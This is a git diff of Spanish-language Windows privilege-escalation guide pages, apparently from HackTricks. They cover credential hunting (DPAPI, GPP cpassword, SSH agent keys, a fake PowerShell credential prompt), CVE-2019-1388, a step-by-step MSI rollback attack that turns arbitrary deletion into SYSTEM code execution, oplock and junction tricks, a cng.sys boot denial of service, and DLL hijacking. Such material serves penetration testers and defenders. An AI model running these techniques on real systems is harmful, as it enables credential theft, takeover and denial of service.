[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o desde [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI La **Interfaz de Programación de Aplicaciones de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía. -**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran la encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema. +**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema. Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque puede ser listado a través de PowerShell). ```bash @@ -769,7 +773,7 @@ dpapi-extracting-passwords.md ### Credenciales de PowerShell -Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que generalmente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas. +Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que típicamente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas. Para **desencriptar** unas credenciales de PS del archivo que las contiene, puedes hacer: ```bash @@ -816,7 +820,7 @@ Las personas a menudo utilizan la aplicación StickyNotes en estaciones de traba **Ten en cuenta que para recuperar contraseñas de AppCmd.exe necesitas ser Administrador y ejecutar bajo un nivel de alta integridad.**\ **AppCmd.exe** se encuentra en el directorio `%systemroot%\system32\inetsrv\` .\ -Si este archivo existe, entonces es posible que algunas **credenciales** hayan sido configuradas y pueden ser **recuperadas**. +Si este archivo existe, entonces es posible que algunas **credenciales** hayan sido configuradas y puedan ser **recuperadas**. Este código fue extraído de [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -921,14 +925,14 @@ Las claves privadas SSH pueden almacenarse dentro de la clave del registro `HKCU ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada de forma encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Más información sobre esta técnica aquí: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) Si el servicio `ssh-agent` no está en ejecución y deseas que se inicie automáticamente al arrancar, ejecuta: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` -> [!NOTE] +> [!TIP] > Parece que esta técnica ya no es válida. Intenté crear algunas claves ssh, agregarlas con `ssh-add` e iniciar sesión a través de ssh en una máquina. El registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de `dpapi.dll` durante la autenticación de clave asimétrica. ### Archivos desatendidos @@ -993,9 +997,9 @@ Busque un archivo llamado **SiteList.xml** Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados. -Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto de PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad. +Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar dicho archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad. -Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ para estos archivos: +Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos: - Groups.xml - Services.xml @@ -1067,7 +1071,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Pedir credenciales -Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** directamente al cliente las **credenciales** es realmente **arriesgado**): +Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1169,7 +1173,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Historial de Navegadores -Debes verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\ +Deberías verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\ También revisa el historial, marcadores y favoritos de los navegadores, ya que tal vez algunas **contraseñas están** almacenadas allí. Herramientas para extraer contraseñas de navegadores: @@ -1183,9 +1187,9 @@ Herramientas para extraer contraseñas de navegadores: **Component Object Model (COM)** es una tecnología integrada en el sistema operativo Windows que permite la **intercomunicación** entre componentes de software de diferentes lenguajes. Cada componente COM es **identificado a través de un ID de clase (CLSID)** y cada componente expone funcionalidad a través de una o más interfaces, identificadas por IDs de interfaz (IIDs). -Las clases e interfaces COM se definen en el registro bajo **HKEY\CLASSES\ROOT\CLSID** y **HKEY\CLASSES\ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +Las clases y interfaces COM se definen en el registro bajo **HKEY\CLASSES\ROOT\CLSID** y **HKEY\CLASSES\ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral). +Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico-Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral). ![](<../../images/image (729).png>) @@ -1193,6 +1197,7 @@ Básicamente, si puedes **sobrescribir cualquiera de las DLLs** que se van a eje Para aprender cómo los atacantes utilizan el secuestro de COM como un mecanismo de persistencia, consulta: + {{#ref}} com-hijacking.md {{#endref}} @@ -1220,7 +1225,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Herramientas que buscan contraseñas -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **es un msf** plugin que he creado para **ejecutar automáticamente cada módulo POST de metasploit que busca credenciales** dentro de la víctima.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **es un plugin de msf** que he creado para **ejecutar automáticamente cada módulo POST de metasploit que busca credenciales** dentro de la víctima.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) busca automáticamente todos los archivos que contienen contraseñas mencionadas en esta página.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) es otra gran herramienta para extraer contraseñas de un sistema. @@ -1234,7 +1239,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ## Leaked Handlers Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\ -Entonces, si tienes **acceso total al proceso de bajos privilegios**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\ +Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). @@ -1270,7 +1275,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ## De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass de UAC -Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal o cualquier otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios. +Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios. Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario utilizado durante el proceso está firmado y emitido por Microsoft. @@ -1318,35 +1323,199 @@ Tienes todos los archivos e información necesarios en el siguiente repositorio https://github.com/jas502n/CVE-2019-1388 -## De Administrador a Nivel de Integridad Alto / Bypass de UAC +## De Administrador Nivel Medio a Alto de Integridad / Bypass de UAC Lee esto para **aprender sobre Niveles de Integridad**: + {{#ref}} integrity-levels.md {{#endref}} Luego **lee esto para aprender sobre UAC y bypasses de UAC:** + {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} +## De Eliminación/Movimiento/renombrado de Carpeta Arbitraria a EoP de SYSTEM + +La técnica descrita [**en esta publicación de blog**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) con un código de exploit [**disponible aquí**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). + +El ataque consiste básicamente en abusar de la función de reversión del Instalador de Windows para reemplazar archivos legítimos por maliciosos durante el proceso de desinstalación. Para esto, el atacante necesita crear un **instalador MSI malicioso** que se utilizará para secuestrar la carpeta `C:\Config.Msi`, que luego será utilizada por el Instalador de Windows para almacenar archivos de reversión durante la desinstalación de otros paquetes MSI donde los archivos de reversión habrían sido modificados para contener la carga maliciosa. + +La técnica resumida es la siguiente: + +1. **Etapa 1 – Preparándose para el Secuestro (dejar `C:\Config.Msi` vacío)** + +- Paso 1: Instalar el MSI +- Crear un `.msi` que instale un archivo inofensivo (por ejemplo, `dummy.txt`) en una carpeta escribible (`TARGETDIR`). +- Marcar el instalador como **"Compatible con UAC"**, para que un **usuario no administrador** pueda ejecutarlo. +- Mantener un **manejador** abierto al archivo después de la instalación. + +- Paso 2: Comenzar Desinstalación +- Desinstalar el mismo `.msi`. +- El proceso de desinstalación comienza a mover archivos a `C:\Config.Msi` y renombrarlos a archivos `.rbf` (copias de seguridad de reversión). +- **Consultar el manejador de archivo abierto** usando `GetFinalPathNameByHandle` para detectar cuándo el archivo se convierte en `C:\Config.Msi\.rbf`. + +- Paso 3: Sincronización Personalizada +- El `.msi` incluye una **acción de desinstalación personalizada (`SyncOnRbfWritten`)** que: +- Señala cuando se ha escrito el `.rbf`. +- Luego **espera** en otro evento antes de continuar con la desinstalación. + +- Paso 4: Bloquear Eliminación de `.rbf` +- Cuando se señala, **abrir el archivo `.rbf`** sin `FILE_SHARE_DELETE` — esto **previene que sea eliminado**. +- Luego **señalar de vuelta** para que la desinstalación pueda finalizar. +- El Instalador de Windows no puede eliminar el `.rbf`, y como no puede eliminar todo el contenido, **`C:\Config.Msi` no se elimina**. + +- Paso 5: Eliminar Manualmente `.rbf` +- Tú (atacante) eliminas el archivo `.rbf` manualmente. +- Ahora **`C:\Config.Msi` está vacío**, listo para ser secuestrado. + +> En este punto, **dispara la vulnerabilidad de eliminación de carpeta arbitraria a nivel de SYSTEM** para eliminar `C:\Config.Msi`. + +2. **Etapa 2 – Reemplazando Scripts de Reversión con Maliciosos** + +- Paso 6: Recrear `C:\Config.Msi` con ACLs Débiles +- Recrear la carpeta `C:\Config.Msi` tú mismo. +- Establecer **DACLs débiles** (por ejemplo, Everyone:F), y **mantener un manejador abierto** con `WRITE_DAC`. + +- Paso 7: Ejecutar Otra Instalación +- Instalar el `.msi` nuevamente, con: +- `TARGETDIR`: Ubicación escribible. +- `ERROROUT`: Una variable que desencadena un fallo forzado. +- Esta instalación se utilizará para desencadenar **reversión** nuevamente, que lee `.rbs` y `.rbf`. + +- Paso 8: Monitorear por `.rbs` +- Usar `ReadDirectoryChangesW` para monitorear `C:\Config.Msi` hasta que aparezca un nuevo `.rbs`. +- Capturar su nombre de archivo. + +- Paso 9: Sincronizar Antes de la Reversión +- El `.msi` contiene una **acción de instalación personalizada (`SyncBeforeRollback`)** que: +- Señala un evento cuando se crea el `.rbs`. +- Luego **espera** antes de continuar. + +- Paso 10: Reaplicar ACL Débil +- Después de recibir el evento de `.rbs creado`: +- El Instalador de Windows **reaplica ACLs fuertes** a `C:\Config.Msi`. +- Pero como aún tienes un manejador con `WRITE_DAC`, puedes **reaplicar ACLs débiles** nuevamente. + +> Las ACLs son **solo aplicadas al abrir el manejador**, así que aún puedes escribir en la carpeta. + +- Paso 11: Dejar Caer Falsos `.rbs` y `.rbf` +- Sobrescribir el archivo `.rbs` con un **script de reversión falso** que le dice a Windows que: +- Restaure tu archivo `.rbf` (DLL maliciosa) en una **ubicación privilegiada** (por ejemplo, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Dejar caer tu falso `.rbf` que contiene una **carga útil DLL maliciosa a nivel de SYSTEM**. + +- Paso 12: Desencadenar la Reversión +- Señalar el evento de sincronización para que el instalador reanude. +- Una **acción personalizada de tipo 19 (`ErrorOut`)** está configurada para **fallar intencionalmente la instalación** en un punto conocido. +- Esto provoca que **comience la reversión**. + +- Paso 13: SYSTEM Instala Tu DLL +- El Instalador de Windows: +- Lee tu malicioso `.rbs`. +- Copia tu DLL `.rbf` en la ubicación de destino. +- Ahora tienes tu **DLL maliciosa en una ruta cargada por SYSTEM**. + +- Paso Final: Ejecutar Código de SYSTEM +- Ejecutar un **binario auto-elevado de confianza** (por ejemplo, `osk.exe`) que carga la DLL que secuestraste. +- **Boom**: Tu código se ejecuta **como SYSTEM**. + + +### De Eliminación/Movimiento/renombrado de Archivo Arbitrario a EoP de SYSTEM + +La técnica principal de reversión de MSI (la anterior) asume que puedes eliminar una **carpeta completa** (por ejemplo, `C:\Config.Msi`). Pero, ¿qué pasa si tu vulnerabilidad solo permite **eliminación de archivos arbitrarios**? + +Podrías explotar **internos de NTFS**: cada carpeta tiene un flujo de datos alternativo oculto llamado: +``` +C:\SomeFolder::$INDEX_ALLOCATION +``` +Este flujo almacena los **metadatos del índice** de la carpeta. + +Así que, si **eliminás el flujo `::$INDEX_ALLOCATION`** de una carpeta, NTFS **elimina toda la carpeta** del sistema de archivos. + +Puedes hacer esto utilizando APIs estándar de eliminación de archivos como: +```c +DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); +``` +> Aunque estás llamando a una API de eliminación de *archivo*, **elimina la carpeta misma**. + +### De eliminación de contenidos de carpeta a EoP de SYSTEM +¿Qué pasa si tu primitiva no te permite eliminar archivos/carpetas arbitrarios, pero **sí permite la eliminación de los *contenidos* de una carpeta controlada por el atacante**? + +1. Paso 1: Configura una carpeta y archivo de cebo +- Crea: `C:\temp\folder1` +- Dentro de ella: `C:\temp\folder1\file1.txt` + +2. Paso 2: Coloca un **oplock** en `file1.txt` +- El oplock **pausa la ejecución** cuando un proceso privilegiado intenta eliminar `file1.txt`. +```c +// pseudo-code +RequestOplock("C:\\temp\\folder1\\file1.txt"); +WaitForDeleteToTriggerOplock(); +``` +3. Paso 3: Activar el proceso SYSTEM (por ejemplo, `SilentCleanup`) +- Este proceso escanea carpetas (por ejemplo, `%TEMP%`) y trata de eliminar su contenido. +- Cuando llega a `file1.txt`, se **activa el oplock** y se entrega el control a tu callback. + +4. Paso 4: Dentro del callback del oplock – redirigir la eliminación + +- Opción A: Mover `file1.txt` a otro lugar +- Esto vacía `folder1` sin romper el oplock. +- No elimines `file1.txt` directamente — eso liberaría el oplock prematuramente. + +- Opción B: Convertir `folder1` en una **junction**: +```bash +# folder1 is now a junction to \RPC Control (non-filesystem namespace) +mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control +``` +- Opción C: Crear un **symlink** en `\RPC Control`: +```bash +# Make file1.txt point to a sensitive folder stream +CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") +``` +> Esto apunta al flujo interno de NTFS que almacena metadatos de la carpeta; eliminarlo elimina la carpeta. + +5. Paso 5: Liberar el oplock +- El proceso SYSTEM continúa e intenta eliminar `file1.txt`. +- Pero ahora, debido a la unión + symlink, en realidad está eliminando: +``` +C:\Config.Msi::$INDEX_ALLOCATION +``` +**Resultado**: `C:\Config.Msi` es eliminado por SYSTEM. + +### De Crear Carpeta Arbitraria a DoS Permanente + +Exploita un primitivo que te permite **crear una carpeta arbitraria como SYSTEM/admin** — incluso si **no puedes escribir archivos** o **establecer permisos débiles**. + +Crea una **carpeta** (no un archivo) con el nombre de un **controlador crítico de Windows**, por ejemplo: +``` +C:\Windows\System32\cng.sys +``` +- Esta ruta normalmente corresponde al controlador de modo kernel `cng.sys`. +- Si **lo pre-creas como una carpeta**, Windows no logra cargar el controlador real al iniciar. +- Luego, Windows intenta cargar `cng.sys` durante el arranque. +- Ve la carpeta, **no logra resolver el controlador real**, y **se bloquea o detiene el arranque**. +- No hay **opción de recuperación**, y **sin recuperación** sin intervención externa (por ejemplo, reparación de arranque o acceso al disco). + + ## **De Alta Integridad a Sistema** ### **Nuevo servicio** -Si ya estás ejecutando un proceso de Alta Integridad, el **camino a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**: +Si ya estás ejecutando un proceso de Alta Integridad, el **camino hacia SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` -> [!NOTE] +> [!TIP] > Al crear un binario de servicio, asegúrate de que sea un servicio válido o que el binario realice las acciones necesarias rápidamente, ya que será terminado en 20 segundos si no es un servicio válido. ### AlwaysInstallElevated -Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell inverso utilizando un _**.msi**_ wrapper.\ +Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell inverso usando un _**.msi**_ wrapper.\ [Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](#alwaysinstallelevated) ### Privilegio High + SeImpersonate a System @@ -1356,18 +1525,18 @@ Desde un proceso de alta integridad, podrías intentar **habilitar las entradas ### De SeDebug + SeImpersonate a privilegios de token completo Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\ -Usando esta técnica, generalmente se **selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos de SYSTEM sin todos los privilegios de token_).\ +Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\ **Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\ +Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe usando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\ Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](#named-pipe-client-impersonation).\ Si quieres leer un ejemplo de [**cómo pasar de alta integridad a System usando pipes nombrados, deberías leer esto**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\ +Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, el Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\ **Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/index.html)**.** ### **De Administrador o Servicio de Red a System** @@ -1397,10 +1566,10 @@ Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofeador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED para Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de Admin)** +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)** **Exe** diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md index 1db0878fa..bdb52441e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md @@ -57,7 +57,7 @@ o usando _Process Explorer_ de Sysinternals (seleccionar proceso y acceder a la ### Administrador local Cuando un administrador local inicia sesión, **se crean dos tokens de acceso**: uno con derechos de administrador y otro con derechos normales. **Por defecto**, cuando este usuario ejecuta un proceso, se utiliza el que tiene **derechos regulares** (no de administrador). Cuando este usuario intenta **ejecutar** algo **como administrador** ("Ejecutar como administrador", por ejemplo), se utilizará el **UAC** para pedir permiso.\ -Si quieres [**aprender más sobre el UAC, lee esta página**](../authentication-credentials-uac-and-efs/#uac)**.** +Si quieres [**aprender más sobre el UAC, lee esta página**](../authentication-credentials-uac-and-efs/index.html#uac)**.** ### Suplantación de credenciales de usuario @@ -80,17 +80,18 @@ Hay dos tipos de tokens disponibles: - **Token de Suplantación**: Permite a una aplicación de servidor adoptar temporalmente la identidad del cliente para acceder a objetos seguros. Este mecanismo se estratifica en cuatro niveles de operación: - **Anónimo**: Otorga acceso al servidor similar al de un usuario no identificado. - **Identificación**: Permite al servidor verificar la identidad del cliente sin utilizarla para el acceso a objetos. -- **Suplantación**: Permite al servidor operar bajo la identidad del cliente. +- **Suplantación**: Habilita al servidor para operar bajo la identidad del cliente. - **Delegación**: Similar a la Suplantación, pero incluye la capacidad de extender esta asunción de identidad a sistemas remotos con los que el servidor interactúa, asegurando la preservación de credenciales. #### Tokens de Suplantación -Usando el módulo _**incognito**_ de metasploit, si tienes suficientes privilegios, puedes **listar** y **suplantar** otros **tokens** fácilmente. Esto podría ser útil para realizar **acciones como si fueras el otro usuario**. También podrías **escalar privilegios** con esta técnica. +Usando el módulo _**incognito**_ de metasploit, si tienes suficientes privilegios, puedes fácilmente **listar** y **suplantar** otros **tokens**. Esto podría ser útil para realizar **acciones como si fueras el otro usuario**. También podrías **escalar privilegios** con esta técnica. ### Privilegios de Token Aprende qué **privilegios de token pueden ser abusados para escalar privilegios:** + {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md index c4b5efa0b..647ca1cf4 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md @@ -4,22 +4,22 @@ -## Basic Information +## Información Básica -DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, logrando persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de secuestro sigue siendo consistente a través de los objetivos. +DLL Hijacking implica manipular una aplicación de confianza para cargar un DLL malicioso. Este término abarca varias tácticas como **DLL Spoofing, Injection, y Side-Loading**. Se utiliza principalmente para la ejecución de código, lograr persistencia y, menos comúnmente, escalada de privilegios. A pesar del enfoque en la escalada aquí, el método de secuestro sigue siendo consistente a través de los objetivos. -### Common Techniques +### Técnicas Comunes Se emplean varios métodos para el DLL hijacking, cada uno con su efectividad dependiendo de la estrategia de carga de DLL de la aplicación: -1. **DLL Replacement**: Intercambiar un DLL genuino por uno malicioso, utilizando opcionalmente DLL Proxying para preservar la funcionalidad del DLL original. -2. **DLL Search Order Hijacking**: Colocar el DLL malicioso en una ruta de búsqueda antes que el legítimo, explotando el patrón de búsqueda de la aplicación. -3. **Phantom DLL Hijacking**: Crear un DLL malicioso para que una aplicación lo cargue, pensando que es un DLL requerido que no existe. -4. **DLL Redirection**: Modificar parámetros de búsqueda como `%PATH%` o archivos `.exe.manifest` / `.exe.local` para dirigir la aplicación al DLL malicioso. -5. **WinSxS DLL Replacement**: Sustituir el DLL legítimo por un contraparte malicioso en el directorio WinSxS, un método a menudo asociado con DLL side-loading. -6. **Relative Path DLL Hijacking**: Colocar el DLL malicioso en un directorio controlado por el usuario junto con la aplicación copiada, pareciendo técnicas de Binary Proxy Execution. +1. **Reemplazo de DLL**: Intercambiar un DLL genuino por uno malicioso, utilizando opcionalmente DLL Proxying para preservar la funcionalidad del DLL original. +2. **Secuestro del Orden de Búsqueda de DLL**: Colocar el DLL malicioso en una ruta de búsqueda antes del legítimo, explotando el patrón de búsqueda de la aplicación. +3. **Secuestro de DLL Fantasma**: Crear un DLL malicioso para que una aplicación lo cargue, pensando que es un DLL requerido que no existe. +4. **Redirección de DLL**: Modificar parámetros de búsqueda como `%PATH%` o archivos `.exe.manifest` / `.exe.local` para dirigir la aplicación al DLL malicioso. +5. **Reemplazo de DLL en WinSxS**: Sustituir el DLL legítimo por un contraparte malicioso en el directorio WinSxS, un método a menudo asociado con el side-loading de DLL. +6. **Secuestro de DLL por Ruta Relativa**: Colocar el DLL malicioso 